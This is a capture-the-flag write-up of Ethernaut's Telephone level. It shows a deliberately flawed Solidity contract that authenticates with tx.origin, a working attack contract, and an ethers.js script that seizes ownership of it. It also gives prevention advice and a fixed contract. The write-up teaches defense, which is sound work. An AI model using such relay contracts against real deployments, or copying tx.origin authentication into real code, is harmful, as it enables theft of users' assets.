March 20, 2024

Telephone Challenge - Ethernaut Level 4

5 min readDifficulty: Easy

Challenge Description

tx.originmsg.senderAuthenticationLevel 4

Challenge Goal

Claim ownership of the contract by exploiting the difference between tx.origin and msg.sender. This challenge demonstrates why using tx.origin for authentication is dangerous and why msg.sender should be preferred in most cases.

The Contract

Here's the smart contract we'll be exploiting:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

The Vulnerability

This contract contains a vulnerable function changeOwner that changes the contract's owner if the condition tx.origin != msg.sender is met. To understand this vulnerability, we need to understand the difference between these two variables:

  • tx.origin: The original external account (EOA) that started the transaction. This is always a user's address (external account), never a contract.
  • msg.sender: The immediate sender of the current function call. This could be either an EOA or a contract address.

When a user directly interacts with the Telephone contract, tx.origin and msg.sender are the same (the user's address). However, if the user interacts with a malicious contract that then calls the Telephone contract:

  • tx.origin is still the user's address
  • msg.sender becomes the address of the malicious contract

This creates a scenario where tx.origin != msg.sender, satisfying the condition to change the owner.

The Exploit

To exploit this contract, we need to:

Steps to Exploit:

  1. Create an attack contract that calls the changeOwner function of the Telephone contract
  2. The attack contract will pass our address as the _owner parameter
  3. When we call this attack contract, it will relay the call to the Telephone contract, creating a scenario where tx.origin != msg.sender

Attack Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ITelephone {
  function changeOwner(address _owner) external;
}

contract TelephoneAttack {
  ITelephone private telephoneContract;
  
  constructor(address _telephoneAddress) {
    telephoneContract = ITelephone(_telephoneAddress);
  }
  
  // Call this function to execute the attack
  function attack() public {
    // When this function is called, tx.origin will be the caller's address (you)
    // msg.sender when calling the Telephone contract will be this contract's address
    // This creates the condition where tx.origin != msg.sender
    telephoneContract.changeOwner(msg.sender);
  }
}

Exploit Script

// Using ethers.js to deploy and call our attack contract

// Get instance of the Telephone contract
const telephoneAddress = "INSTANCE_ADDRESS";
const telephone = await ethers.getContractAt("Telephone", telephoneAddress);

// Get our address
const [attacker] = await ethers.getSigners();
console.log("Original owner:", await telephone.owner());
console.log("Our address:", attacker.address);

// Deploy our attack contract
const TelephoneAttack = await ethers.getContractFactory("TelephoneAttack");
const attackContract = await TelephoneAttack.deploy(telephoneAddress);
await attackContract.deployed();
console.log("Attack contract deployed at:", attackContract.address);

// Execute the attack
const tx = await attackContract.attack();
await tx.wait();
console.log("Attack complete");

// Verify we are now the owner
console.log("New owner:", await telephone.owner());
console.log("Our address:", attacker.address);

// Check if we succeeded
const success = (await telephone.owner()) === attacker.address;
console.log("Success:", success);

Security Lessons

  • Never Use tx.origin for Authentication: Using tx.origin for authentication is dangerous as it makes your contract vulnerable to phishing attacks.
  • Use msg.sender for Authentication: Always use msg.sender for authentication as it represents the immediate caller of the function.
  • Understanding Transaction Context: It's important to understand how call context works in Ethereum and how variables like tx.origin and msg.sender behave differently.

Prevention

Here's how you could improve this contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SecureTelephone {
  address public owner;

  constructor() {
    owner = msg.sender;
  }

  // Simple authentication using msg.sender
  modifier onlyOwner() {
    require(msg.sender == owner, "Caller is not the owner");
    _;
  }

  // Secure ownership transfer
  function changeOwner(address _newOwner) public onlyOwner {
    require(_newOwner != address(0), "New owner cannot be zero address");
    owner = _newOwner;
    emit OwnershipTransferred(msg.sender, _newOwner);
  }

  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}

The improved contract:

  • Uses msg.sender for authentication instead of tx.origin
  • Implements a proper access control modifier onlyOwner
  • Adds additional safety checks (prevent zero address)
  • Emits events for transparency and monitoring

Real-World Implications

The tx.origin vulnerability can be particularly dangerous in real-world scenarios. Imagine a malicious website that tricks users who own some tokens to call a function on a malicious contract. This contract could then call the token's transfer function, which (if it used tx.origin for authentication) would authorize the transfer because tx.origin would be the user's address. This type of attack is known as a "phishing attack with tx.origin".

By using msg.sender instead of tx.origin, contracts can prevent these kinds of attacks because a malicious contract would only be able to transfer tokens it already owned, not tokens owned by the user who interacted with it.

Conclusion

The Telephone challenge illustrates the critical difference between tx.origin and msg.sender in Ethereum transactions. Understanding this distinction is fundamental for writing secure smart contracts.

Remember: always use msg.sender for authentication, never tx.origin. Using tx.origin for authentication creates vulnerabilities that can be exploited through intermediary contracts.

Your Notes